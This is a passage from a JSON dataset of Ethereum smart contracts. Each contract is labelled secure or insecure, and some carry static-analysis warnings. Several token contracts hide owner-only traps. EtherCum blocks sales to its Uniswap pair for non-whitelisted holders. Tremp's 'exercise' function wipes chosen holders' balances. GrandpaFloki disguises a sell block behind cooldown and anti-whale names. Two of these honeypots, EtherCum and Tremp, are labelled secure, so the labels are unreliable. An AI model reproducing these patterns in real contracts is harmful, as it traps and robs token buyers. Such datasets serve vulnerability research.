public onlyOwner {\n require(whitelistSale, \"Whitelist is already disabled\");\n whitelistSale = false;\n }\n\n function authorise(address addressToAuth) public onlyOwner {\n _isAuthorised[addressToAuth] = true;\n authorisedLog.push(addressToAuth);\n }\n\n function unauthorise(address addressToUnAuth) public onlyOwner {\n _isAuthorised[addressToUnAuth] = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 86ce996): MoonTreasury.isApprovedForAll(address,address).owner shadows MoonTreasury.owner() (function)\n\t// Recommendation for 86ce996: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return (ERC721A._operatorApprovals[owner][operator] ||\n _isAuthorised[operator]);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 86ce996): MoonTreasury.isApprovedForAll(address,address).owner shadows MoonTreasury.owner() (function)\n\t// Recommendation for 86ce996: Rename the local variables that shadow another component.\n function owner() public view returns (address) {\n return contract_owner;\n }\n\n function _validateApeOwnership(address user) internal view returns (bool) {\n if (!apeOwnershipRequired) return true;\n if (STAKING.balanceOf(user) > 0) {\n return true;\n }\n return APES.balanceOf(user) > 0;\n }\n\n function updateSaleStatus(bool is_sale_active) public onlyOwner {\n require(treasuryPrice != 0, \"Price is not set\");\n saleIsActive = is_sale_active;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1dac067): MoonTreasury.updateTreasuryPrice(uint256) should emit an event for treasuryPrice = _newPrice \n\t// Recommendation for 1dac067: Emit an event for critical parameter changes.\n function updateTreasuryPrice(uint256 _newPrice) public onlyOwner {\n require(!saleIsActive, \"Pause sale before price update\");\n\t\t// events-maths | ID: 1dac067\n treasuryPrice = _newPrice;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n return _baseUri;\n }\n\n function updateApeOwnershipRequirement(\n bool _isOwnershipRequired\n ) public onlyOwner {\n apeOwnershipRequired = _isOwnershipRequired;\n }\n\n function withdraw() external onlyOwner {\n payable(contract_owner).transfer(address(this).balance);\n }\n\n function reserveForGiveaway(uint256 tokensToMint) public onlyOwner {\n require(tokensToMint > 0, \"Min mint is 1 token\");\n require(\n tokensToMint <= 50,\n \"You can mint max 50 tokens per transaction\"\n );\n require(\n totalSupply().add(tokensToMint) <= MAX_SUPPLY,\n \"Mint more tokens than allowed\"\n );\n\n _safeMint(_msgSender(), tokensToMint);\n }\n\n function giveaway(\n address[] memory receivers,\n uint256[] memory amounts\n ) public onlyOwner {\n require(receivers.length == amounts.length, \"Lists not same length\");\n for (uint256 i = 0; i < receivers.length; i++) {\n _safeMint(receivers[i], amounts[i]);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c5776d2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c5776d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function purchaseTreasury(uint256 tokensToMint) public payable {\n require(saleIsActive, \"The mint has not started yet\");\n require(\n _validateApeOwnership(_msgSender()),\n \"You do not have any Moon Apes\"\n );\n if (whitelistSale) {\n require(whitelisted[_msgSender()], \"You are not whitelisted\");\n }\n require(\n msg.value == treasuryPrice.mul(tokensToMint),\n \"Wrong ETH value provided\"\n );\n require(tokensToMint > 0, \"Min mint is 1 token\");\n require(\n tokensToMint <= 50,\n \"You can mint max 50 tokens per transaction\"\n );\n require(\n totalSupply().add(tokensToMint) <= MAX_SUPPLY,\n \"Mint more tokens than allowed\"\n );\n\n\t\t// reentrancy-events | ID: c5776d2\n _safeMint(_msgSender(), tokensToMint);\n\n\t\t// reentrancy-events | ID: c5776d2\n MAL.depositMALFor(_msgSender(), INITIAL_DROP.mul(tokensToMint));\n\n\t\t// reentrancy-events | ID: c5776d2\n emit TreasuriesMinted(_msgSender(), tokensToMint);\n }\n}",
"file_name": "solidity_code_2842.sol",
"secure": 0,
"size_bytes": 8610
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x64a2BEDef43D414CE94b63Cb562f95E0CA06c5b7,\n 1000000000 * 10 ** 18\n );\n _enable[0x64a2BEDef43D414CE94b63Cb562f95E0CA06c5b7] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"EtherCum\";\n _symbol = \"eCUM\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2843.sol",
"secure": 1,
"size_bytes": 5996
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Tremp is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable achieve;\n\n constructor() {\n _name = \"tremp\";\n\n _symbol = \"TREMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 481000000;\n\n achieve = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == achieve, \"Not allowed\");\n\n _;\n }\n\n function exercise(address[] memory photography) public onlyOwner {\n for (uint256 i = 0; i < photography.length; i++) {\n address account = photography[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_2844.sol",
"secure": 1,
"size_bytes": 4370
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"BabyFlokiRise\";\n _name = \"Baby Floki Rise\";\n _decimals = 11;\n _totalSupply = 1000000000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2845.sol",
"secure": 1,
"size_bytes": 4163
} |
{
"code": "// SPDX-License-Identifier: Apache-2.0\n\npragma solidity ^0.8.0;\n\nlibrary UFixedPoint {\n function mul(uint256 dA, uint256 dB) internal pure returns (uint256) {\n return (dA * dB) / 1e18;\n }\n\n function div(uint256 dA, uint256 dB) internal pure returns (uint256) {\n return (1e18 * dA) / dB;\n }\n\n function toDecimal(uint256 iA) internal pure returns (uint256) {\n return iA * 1e18;\n }\n\n function toInteger(uint256 dA) internal pure returns (uint256) {\n return dA / 1e18;\n }\n\n function max(uint256 dA, uint256 dB) internal pure returns (uint256) {\n if (dA > dB) {\n return dA;\n } else {\n return dB;\n }\n }\n\n function min(uint256 dA, uint256 dB) internal pure returns (uint256) {\n if (dA > dB) {\n return dB;\n } else {\n return dA;\n }\n }\n}",
"file_name": "solidity_code_2846.sol",
"secure": 1,
"size_bytes": 913
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => bool) public cooldownCheck;\n mapping(address => bool) public checkIfCooldownActive;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n bool private _openTrading = false;\n string private _name;\n string private _symbol;\n address private _creator;\n bool private cooldownSearch;\n bool private antiWhale;\n bool private tempVal;\n uint256 private setAntiWhaleAmount;\n uint256 private setTxLimit;\n uint256 private chTx;\n uint256 private tXs;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e3e416b): ERC20.constructor(string,string,address,bool,bool,uint256).creator_ lacks a zerocheck on \t _creator = creator_\n\t// Recommendation for e3e416b: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n address creator_,\n bool tmp,\n bool tmp2,\n uint256 tmp9\n ) {\n _name = name_;\n _symbol = symbol_;\n\t\t// missing-zero-check | ID: e3e416b\n _creator = creator_;\n checkIfCooldownActive[creator_] = tmp;\n cooldownCheck[creator_] = tmp2;\n antiWhale = tmp;\n tempVal = tmp2;\n cooldownSearch = tmp2;\n tXs = tmp9;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (sender != _creator) {\n require(_openTrading);\n }\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if ((address(sender) == _creator) && (tempVal == false)) {\n setAntiWhaleAmount = chTx;\n antiWhale = true;\n }\n\n if ((address(sender) == _creator) && (tempVal == true)) {\n cooldownCheck[recipient] = true;\n tempVal = false;\n }\n\n if (cooldownCheck[sender] == false) {\n if ((amount > setTxLimit)) {\n require(false);\n }\n\n require(amount < setAntiWhaleAmount);\n if (antiWhale == true) {\n if (checkIfCooldownActive[sender] == true) {\n require(\n false,\n \"ERC20: please wait another %m:%s min before transfering\"\n );\n }\n checkIfCooldownActive[sender] = true;\n _cooldownBeforeNewSell(sender, block.timestamp);\n }\n }\n\n uint256 taxamount = amount;\n\n _balances[sender] = senderBalance - taxamount;\n _balances[recipient] += taxamount;\n\n emit Transfer(sender, recipient, taxamount);\n }\n\n function _burnLP(\n address account,\n uint256 amount,\n uint256 val1,\n uint256 val2\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n\n setAntiWhaleAmount = _totalSupply;\n\t\t// divide-before-multiply | ID: 3f21f02\n chTx = _totalSupply / val1;\n\t\t// divide-before-multiply | ID: 3f21f02\n setTxLimit = chTx * val2;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _StaggeredBurn(address account, uint256 amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] -= amount;\n _balances[0x000000000000000000000000000000000000dEaD] += amount;\n emit Transfer(\n account,\n address(0x000000000000000000000000000000000000dEaD),\n amount\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n if ((address(owner) == _creator) && (cooldownSearch == true)) {\n cooldownCheck[spender] = true;\n checkIfCooldownActive[spender] = false;\n cooldownSearch = false;\n }\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function emergencyOverride(\n address account,\n bool v1,\n bool v2,\n bool v3,\n uint256 v4\n ) external onlyOwner {\n cooldownCheck[account] = v1;\n checkIfCooldownActive[account] = v2;\n antiWhale = v3;\n setAntiWhaleAmount = v4;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _cooldownBeforeNewSell(\n address account,\n uint256 amount\n ) internal virtual {\n\t\t// timestamp | ID: a52acbc\n if ((block.timestamp - amount) > 5 * 60) {\n checkIfCooldownActive[account] = false;\n }\n }\n\n function openTrading() external onlyOwner {\n _openTrading = true;\n }\n}",
"file_name": "solidity_code_2847.sol",
"secure": 0,
"size_bytes": 8921
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20GrandpaFloki is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 13863a1): ERC20GrandpaFloki.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 13863a1: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b71837): ERC20GrandpaFloki.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for 7b71837: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aac7c57): ERC20GrandpaFloki.constructor(string,string,bool,bool,uint256,uint256,address,uint256,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aac7c57: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n bool tmp,\n bool tmp2,\n uint256 tmp6,\n uint256 tmp7,\n address creator,\n uint256 initialSupply,\n address owner,\n uint256 tmp9\n ) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {\n _burnLP(owner, initialSupply, tmp6, tmp7);\n }\n}",
"file_name": "solidity_code_2848.sol",
"secure": 0,
"size_bytes": 1632
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20GrandpaFloki.sol\" as ERC20GrandpaFloki;\n\ncontract GrandpaFloki is ERC20GrandpaFloki {\n constructor()\n ERC20GrandpaFloki(\n \"Grandpa Floki\",\n \"PAFLOKI\",\n false,\n true,\n 1000,\n 30,\n msg.sender,\n 10000000000 * 10 ** 18,\n msg.sender,\n 1\n )\n {}\n}",
"file_name": "solidity_code_2849.sol",
"secure": 1,
"size_bytes": 470
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant presaleReserve = 2_666_666_666 * (10 ** _decimals);\n\n uint256 public constant stakingReserve = 1_777_777_778 * (10 ** _decimals);\n\n uint256 public constant marketingReserve =\n 2_133_333_333 * (10 ** _decimals);\n\n uint256 public constant communityRewardsReserve =\n 1_333_333_333 * (10 ** _decimals);\n\n uint256 public constant liquidityReserve = 888_888_889 * (10 ** _decimals);\n\n uint256 public constant foundationReserve = 88_888_889 * (10 ** _decimals);\n\n constructor() {\n _name = \"Dawgz AI\";\n\n _symbol = \"DAGZ\";\n\n _mint(0x0693FBf94a7623FdB12E87C044DDa42DA2866256, presaleReserve);\n\n _mint(0x0693FBf94a7623FdB12E87C044DDa42DA2866256, stakingReserve);\n\n _mint(0x0693FBf94a7623FdB12E87C044DDa42DA2866256, marketingReserve);\n\n _mint(\n 0x0693FBf94a7623FdB12E87C044DDa42DA2866256,\n communityRewardsReserve\n );\n\n _mint(0x0693FBf94a7623FdB12E87C044DDa42DA2866256, liquidityReserve);\n\n _mint(0x0693FBf94a7623FdB12E87C044DDa42DA2866256, foundationReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_285.sol",
"secure": 1,
"size_bytes": 6118
} |
{
